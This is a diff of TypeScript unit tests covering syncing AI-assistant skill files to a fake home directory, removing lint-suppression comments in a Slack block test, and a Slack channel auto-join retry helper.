|
+
|
|
218
|
+
test("removes stale bundled files on re-sync", () => {
|
|
219
|
+
// First sync: write complex skill with one file
|
|
220
|
+
const first = [
|
|
221
|
+
skillEntry({
|
|
222
|
+
name: "complex-skill",
|
|
223
|
+
content: "# Complex",
|
|
224
|
+
isComplex: true,
|
|
225
|
+
files: [{ path: "references/guide.md", content: "# Guide", isBinary: false }],
|
|
226
|
+
}),
|
|
227
|
+
];
|
|
228
|
+
writeSkillsToFilesystem(first, "claude", FAKE_HOME);
|
|
229
|
+
|
|
230
|
+
const skillDir = join(FAKE_HOME, ".claude", "skills", "complex-skill");
|
|
231
|
+
// Manually add a stale file that should be removed
|
|
232
|
+
writeFileSync(join(skillDir, "references", "stale.md"), "stale content");
|
|
233
|
+
expect(existsSync(join(skillDir, "references", "stale.md"))).toBe(true);
|
|
234
|
+
|
|
235
|
+
// Second sync: same skill, file not in new set → should be removed
|
|
236
|
+
const result = writeSkillsToFilesystem(first, "claude", FAKE_HOME);
|
|
237
|
+
|
|
238
|
+
expect(result.removed).toBeGreaterThanOrEqual(1);
|
|
239
|
+
expect(existsSync(join(skillDir, "references", "stale.md"))).toBe(false);
|
|
240
|
+
expect(existsSync(join(skillDir, "references", "guide.md"))).toBe(true);
|
|
241
|
+
});
|
|
242
|
+
|
|
243
|
+
test("returns empty result for empty entries", () => {
|
|
244
|
+
const result = writeSkillsToFilesystem([], "claude", FAKE_HOME);
|
|
245
|
+
|
|
246
|
+
expect(result.synced).toBe(0);
|
|
247
|
+
expect(result.removed).toBe(0);
|
|
248
|
+
expect(result.errors).toHaveLength(0);
|
|
249
|
+
});
|
|
250
|
+
});
|
|
@@ -4,7 +4,6 @@ import type { TaskAttachment } from "../types";
|
|
|
4
4
|
|
|
5
5
|
// Slack block types are open unions — the builder returns `any`; we read it
|
|
6
6
|
// as `any` in the test to inspect the runtime shape.
|
|
7
|
-
// biome-ignore lint/suspicious/noExplicitAny: see comment above
|
|
8
7
|
type SlackBlock = any;
|
|
9
8
|
|
|
10
9
|
function mkAttachment(overrides: Partial<TaskAttachment>): TaskAttachment {
|
|
@@ -941,7 +941,6 @@ function mkAttachment(overrides: Partial<TaskAttachment>): TaskAttachment {
|
|
|
941
941
|
};
|
|
942
942
|
}
|
|
943
943
|
|
|
944
|
-
// biome-ignore lint/suspicious/noExplicitAny: section blocks are loose plain objects
|
|
945
944
|
type AnyBlock = any;
|
|
946
945
|
|
|
947
946
|
function sectionTexts(blocks: AnyBlock[]): string[] {
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
import { describe, expect, mock, test } from "bun:test";
|
|
2
|
+
import type { WebClient } from "@slack/web-api";
|
|
3
|
+
import { withAutoJoin } from "../slack/channel-join";
|
|
4
|
+
|
|
5
|
+
// Mirrors the shape @slack/web-api's platformErrorFromResult produces:
|
|
6
|
+
// message = "An API error occurred: <code>", data.error = "<code>"
|
|
7
|
+
function makePlatformError(code: string): Error {
|
|
8
|
+
const err = new Error(`An API error occurred: ${code}`);
|
|
9
|
+
(err as unknown as { data: { error: string } }).data = { error: code };
|
|
10
|
+
return err;
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
describe("withAutoJoin", () => {
|
|
14
|
+
test("success: fn called once, join not called", async () => {
|
|
15
|
+
const joinFn = mock(() => Promise.resolve({}));
|
|
16
|
+
const client = { conversations: { join: joinFn } } as unknown as WebClient;
|
|
17
|
+
const fn = mock(() => Promise.resolve("ok"));
|
|
18
|
+
|
|
19
|
+
const result = await withAutoJoin(client, "C123", fn);
|
|
20
|
+
expect(result).toBe("ok");
|
|
21
|
+
expect(fn).toHaveBeenCalledTimes(1);
|
|
22
|
+
expect(joinFn).not.toHaveBeenCalled();
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
test("not_in_channel: calls join then retries fn exactly once", async () => {
|
|
26
|
+
const joinFn = mock(() => Promise.resolve({}));
|
|
27
|
+
const client = { conversations: { join: joinFn } } as unknown as WebClient;
|
|
28
|
+
let callCount = 0;
|
|
29
|
+
const fn = mock(async () => {
|
|
30
|
+
callCount++;
|
|
31
|
+
if (callCount === 1) throw makePlatformError("not_in_channel");
|
|
32
|
+
return "retried-ok";
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
const result = await withAutoJoin(client, "CPUB", fn);
|
|
36
|
+
expect(result).toBe("retried-ok");
|
|
37
|
+
expect(fn).toHaveBeenCalledTimes(2);
|
|
38
|
+
expect(joinFn).toHaveBeenCalledTimes(1);
|
|
39
|
+
expect(joinFn).toHaveBeenCalledWith({ channel: "CPUB" });
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
test("private channel: join fails with method_not_supported_for_channel_type → descriptive error", async () => {
|
|
43
|
+
const joinFn = mock(() => {
|
|
44
|
+
throw makePlatformError("method_not_supported_for_channel_type");
|
|
45
|
+
});
|
|
46
|
+
const client = { conversations: { join: joinFn } } as unknown as WebClient;
|
|
47
|
+
const fn = mock(() => {
|
|
48
|
+
throw makePlatformError("not_in_channel");
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
await expect(withAutoJoin(client, "CPRIV", fn)).rejects.toThrow("invite the bot");
|
|
52
|
+
expect(joinFn).toHaveBeenCalledTimes(1);
|
|
53
|
+
expect(fn).toHaveBeenCalledTimes(1);
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
test("non-not_in_channel error: rethrown without join", async () => {
|
|
57
|
+
const joinFn = mock(() => Promise.resolve({}));
|
|
58
|
+
const client = { conversations: { join: joinFn } } as unknown as WebClient;
|
|
59
|
+
const fn = mock(() => {
|
|
60
|
+
throw makePlatformError("channel_not_found");
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
await expect(withAutoJoin(client, "C123", fn)).rejects.toThrow("channel_not_found");
|
|
64
|
+
expect(joinFn).not.toHaveBeenCalled();
|
|
65
|
+
expect(fn).toHaveBeenCalledTimes(1);
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
test("retry is bounded: second fn error propagates without another join", async () => {
|
|
69
|
+
const joinFn = mock(() => Promise.resolve({}));
|
|
70
|
+
const client = { conversations: { join: joinFn } } as unknown as WebClient;
|
|
71
|
+
// Every call throws not_in_channel, but we only join once and retry once
|
|
72
|
+
const fn = mock(() => {
|
|
73
|
+
throw makePlatformError("not_in_channel");
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
await expect(withAutoJoin(client, "C123", fn)).rejects.toThrow("not_in_channel");
|
|
77
|
+
expect(fn).toHaveBeenCalledTimes(2);
|
|
78
|
+
expect(joinFn).toHaveBeenCalledTimes(1); // no infinite loop
|
|
79
|
+
});
|
|
80
|
+
});
|